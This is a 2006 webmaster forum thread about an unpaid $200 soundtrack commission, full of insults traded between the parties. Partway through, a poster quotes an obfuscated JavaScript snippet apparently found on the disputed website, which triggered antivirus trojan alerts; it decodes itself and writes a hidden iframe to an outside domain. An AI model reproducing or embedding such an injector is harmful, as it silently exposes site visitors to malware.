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Old 05-18-2006, 08:30 PM   #1
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Regarding AlienQ

Regarding alien q

It aint about the money ? it?s the principle of the matter.

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Alot of you dont like alienQ.

i didnt when i first came here but after an ICQ conversation, i thought different.

i thought he was an ok guy and decided to work with him.
and after a few phone conversations, i thought he was a good guy
with a crazy ass board persona.



aug 2005

alien hired me for my services- an 8 min soundtrack

services were rendered to alien?s approval.
alien accepted and agreed to services and price of $200.00.

alien and his wife expressed that they were very happy with soundtrack.

alien agreed to pay me within 2 months or when Kayla?s site launched.

alien stated that kayla site was going to launch by dec 2005 or sooner
and was confident that payment would be made before dec. 2005

a joke was made during a phone conversation about slackers on the board who dont pay to which mark replied i had nothing to worry about.

I was confident that Mark was a straight up dude and agreed.

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alien used soundtrack

on this video

http://www.ialien.com/kaylademo/element3.wmv

promoted on his site
http://www.ialien.com/kaylademo/index.html
which now magically disappeared.

promoted ion GFY in numerous threads
http://www.gofuckyourself.com/showth...ht=kayla+marie

at JBM - I wont post link here but its there.

why red x's in these threads? because my name was on them as producing the soundtrack but if you watch the video youll see my name credited.

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from sept 2005 to jan 2006
Bumped alien's content threads
also started numerous threads about aliens content - ie pics of kayla ect

thats what biz associates do - help each other out.

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nov 2005 ICQ about payment - kayla is launching soon - just a few weeks

dec 2005 - ICQ about payment - didnt have the funds - said not to worry payment would be made - thinks within a few weeks - kayla is launching soon - just a few weeks

jan 2006 - ICQ's about payment - didnt have the funds - i offered that he make payments - said he would get back to me - kayla is launching soon - just a few weeks

feb 2006 - ICQ alien about payment - didnt have the funds - i offered that he make payments - said he would get back to me. kayla is launching soon and had other projects lined up -

Mar 2006 - asked alien for payment - didnt have the funds - I offered that he only pay me half of what he owed - $100 - Another heated convo about giving him a hard time and he wasnt using it - then came around and said he would get back to me and that payment would be made- payment is now basically written off at this point.

apr 2006 - ICQ alien - didnt have the funds, said the soundtrack sucked wasnt going to use it and lost soundtrack, fuck you - heated discussion - wrote him off as well as payment

May 2006 - ICQ regarding my reply on gfy thread about alien not making payment on services - heated discussion, then turns civil - last chance to settle and asked whats the real reason? - was told "investors"said it sucked back when it was first used - i asked why i wasnt told this in AUG or SEPT - which would have been acceptable term for non payment - and why are you still using it 9 MONTHS LATER if it sucked -

i said we were cool fuck the money. ect. but the excuse about the "investors" after nine months of Bullshit just pissed me off.

nothing worse than disrespct.

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to not get paid is one thing and acceptable under the right circumstances - broke - the service sucked

but to be insulted and disrepected by a blatant lie after nine months of being cool is not acceptable.


I asked alien why he didnt he tell me of his "investors" decision in aug or sept, his reply is that im an asshole or something just as intelligent.

No answer from him.

the answer is obvious.


If i have anything bad to say about alien it?s only because he brought it upon himself.

Mark heres some advice - you dont know me - so dont assume.

Think about that on ALL levels before leveling any accusations worthy of a response that you dont want or need.


This is all i have to say about the mater.

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Old 05-18-2006, 08:31 PM   #2
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Jonesy i am geting tatoo on the 30th of june
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Old 05-18-2006, 08:35 PM   #3
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Jonesy i am geting tatoo on the 30th of june
i would like to be there

where ya gettin it done?
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Old 05-18-2006, 08:36 PM   #4
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You're definitely showing a lot more class than he is. Having been burned by something like this I know it sucks. The vid I saw with the music on it sounded good, but hey some people will say it sucks just to not have to pay I guess.
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Old 05-19-2006, 07:36 AM   #5
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jan 2006 - ICQ's about payment - didnt have the funds - i offered that he make payments - said he would get back to me - kayla is launching soon - just a few weeks

feb 2006 - ICQ alien about payment - didnt have the funds - i offered that he make payments - said he would get back to me. kayla is launching soon and had other projects lined up -


It's sad when you have to offer someone a payment plan and they only owe you $200.
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Old 05-19-2006, 07:50 AM   #6
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It's sad when you have to offer someone a payment plan and they only owe you $200.
He's not very good at this...still.
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Old 05-19-2006, 08:03 AM   #7
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AlienQ invented poverty


the sad thing is that he doesn't have the brains or impulse control to just let this die down and to just quietly take care of it. instead, he will show up... both barrels blazing and cause a bigger scene.

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Old 05-19-2006, 08:07 AM   #8
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Yet ANOTHER person he owes money to.
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Old 05-19-2006, 08:09 AM   #9
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Old 05-19-2006, 08:12 AM   #10
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Welcome to the biz. $ upfront next time - at least a retainer. Of course there would be no second time for someone that didn't pay $200. I always pay something down for artwork - rare exception. Trying to remeber one and can't though.

Well, that is one side of the situation, will be interesting to read the other half.
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Old 05-19-2006, 08:13 AM   #11
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AlienQ and European Lee are exactly the same when it comes to shit like this

European Lee basically did the same thing to a designer and it was total bullshit
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Old 05-19-2006, 08:24 AM   #12
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The content hasnt mysteriously gone from his site

he redesigned it, www.ialien.com
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Old 05-19-2006, 08:27 AM   #13
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lesson learned: get your money first!
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Old 05-19-2006, 08:30 AM   #14
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The content hasnt mysteriously gone from his site

he redesigned it, www.ialien.com
Jesus, Alien really loves the drop shadow effect.
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Jesus, Alien really loves the drop shadow effect.
master these incredibly complicated text effects - gradient overlay, bevel/emboss and the very impressive "drop shadow" and you too can be an iAlien approved top designer. taking it to the next level as he did, involves downloading some free and well known, well used layer styles for the header text... but beginners might want to hold off on that.
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WTF

The SECOND I clicked on his site my AV popped up.


Trojan horse PSW.generic.YJK




I swear to god.
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It really is a shame, but there isn't one woe that Alien has that he hasn't brought upon himself. What a waste of talent. Smarten up and fly right, Alien, you won't have to deal with poverty ever again.
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Old 05-19-2006, 08:49 AM   #18
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So in summary: Kayla is launching soon!
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Old 05-19-2006, 08:56 AM   #19
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he's still using it ... it the demo on this page off his site ... http://www.ialien.com/contentkayla.html

If it was so bad he wouldn't be using it and being that he's using it he should pay for it
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It really is a shame, but there isn't one woe that Alien has that he hasn't brought upon himself. What a waste of talent. Smarten up and fly right, Alien, you won't have to deal with poverty ever again.
He's been given this advice so many times on the board, yet his arrogance and know it all attitude just pushes more opportunities away from him. If he'd just realize how far some humility would take him and the realization that what he did in the biz 6-8 years ago means nothing to those who want to know what you can do for me "now".
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WTF

The SECOND I clicked on his site my AV popped up.


Trojan horse PSW.generic.YJK




I swear to god.
I assume this is what did it

Code:
<script language="JavaScript">
e = '0x00' + '22';str1 = "%99%C1%CA%D7%BD%D0%D1%DA%C9%C6%9E%83%D7%CA%D0%CA%C3%CA%C9%CA%D1%DA%9B%C5%CA%C1%C1%C6%CF%83%9F%99%CA%C7%D3%C2%CE%C6%BD%D0%D3%C0%9E%83%C5%D1%D1%CD%9B%8C%8C%C1%CF%D7%8E%C0%CC%D6%CF%D1%C6%D3%8F%C0%CC%CE%8C%D1%D3%C7%8C%83%BD%D4%CA%C1%D1%C5%9E%92%BD%C5%C6%CA%C4%C5%D1%9E%92%9F%99%8C%CA%C7%D3%C2%CE%C6%9F%99%8C%C1%CA%D7%9F%BD%AE%AB";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
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What's that code do?
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i hate it when business goes that way...
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What's that code do?
prints an iframe to http:// dnv- coun ter.com/trf/
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I assume this is what did it

Code:
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e = '0x00' + '22';str1 = "%99%C1%CA%D7%BD%D0%D1%DA%C9%C6%9E%83%D7%CA%D0%CA%C3%CA%C9%CA%D1%DA%9B%C5%CA%C1%C1%C6%CF%83%9F%99%CA%C7%D3%C2%CE%C6%BD%D0%D3%C0%9E%83%C5%D1%D1%CD%9B%8C%8C%C1%CF%D7%8E%C0%CC%D6%CF%D1%C6%D3%8F%C0%CC%CE%8C%D1%D3%C7%8C%83%BD%D4%CA%C1%D1%C5%9E%92%BD%C5%C6%CA%C4%C5%D1%9E%92%9F%99%8C%CA%C7%D3%C2%CE%C6%9F%99%8C%C1%CA%D7%9F%BD%AE%AB";str=tmp='';for(i=0;i<str1.length;i+=3){tmp = unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)^e)-127);}document.write(str);
</script>




Well wtf is that?
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when are peoeple going to realise this guy is a useless idiot?

there is the few that supposedly back him up, but take a look at those people, they arent exactly squeaky clean.
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If this is indeed the track
http://www.ialien.com/kaylademo/element3.wmv
It's not bad at all.
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@jonesy: Please contact me at [email protected] and let me know how to contact you, I might be interested in your work.

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@jonesy: Please contact me at [email protected] and let me know how to contact you, I might be interested in your work.

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Ya oughtah pay em no matter what or before hand, or he will be a whinny bitch.

As earilier stated, I told em he would be paid when the site launched, also if the sound track was used.

Plane and simple.
I kept the sound file on line for people to listen to.
I demo'd here on GFY. No one liked it.

At that point I was going to pay em anyways when the site launched.
That's what was agreed.

At this point there is no point in paying em shit.

Besides the tune can be sold to anyone at this point to anyone. He probably could or already has found a buyer for it.
Shouldnt be any skin off his back but he rather just cry about it and bad mouth me. Fuck em...

I make it known that I run a small operation, I work hard, I am not loaded with cash like everyone else is seemingly around here, which is why this deal was arranged the way it was.

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Jonesy if it really was a matter of principal ya would have not said bad shit about me here on GFY while on ICQ saying shit like "It's cool, I understand. It's all good". We apologised to each other and went on to work it out and move on, then ya continue to talk shit on the boards some more.

Go fuck Yourself dude...
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Yeah paying extortion money is just smarter...

Your a pussy.
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Yeah paying extortion money is just smarter...

Your a pussy.

"YOUR" & "EM" = INCORRECT

My brain hurts; how the hell can someone be this dumb?
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Your a pussy.

That isn't even a sentence.

You're not doing yourself any favors. I have read both threads (yours and his), I believe a consensus has been reached. You and Euro Lee do seem to have a lot in common.

I do find it amazing that you request all funds up front, yet can't afford to pay even half of the agreed upon price.

Guess it is easy to figure out why you made the quote you did.
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WTF

The SECOND I clicked on his site my AV popped up.


Trojan horse PSW.generic.YJK




I swear to god.
My McAfee went nuts too.

Generic Downloader.z trojan has been deleted to complete the Clean process.

I don't know what the fuck that means though.
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ohhh this is not a good thread. i just remember a friend who still owes me money for half a year now. dunno if she sent the money in the bank really but i'll keep my fingers crossed. goodluck guys.
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Old 05-24-2006, 03:11 PM   #44
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Old 05-24-2006, 03:56 PM   #45
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Damn, so what's the score?

AlienQ owes jonesy money.

AlienQ owes MarkTiarra content.

AlienQ owes me design work.

Am I missing anyone?

Me thinks somebody needs to get busy...
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skipping to pay $100 owed for that long

this attitude has to be rewarded lol
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Old 05-24-2006, 04:16 PM   #47
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skipping to pay $100 owed for that long
$200... not $100.
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jonesy offered to drop price at half and still didnt receive it.
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Old 05-24-2006, 04:25 PM   #49
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Old 05-24-2006, 04:29 PM   #50
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Oh, right. I musta missed that bit.

And YAY drama llama!
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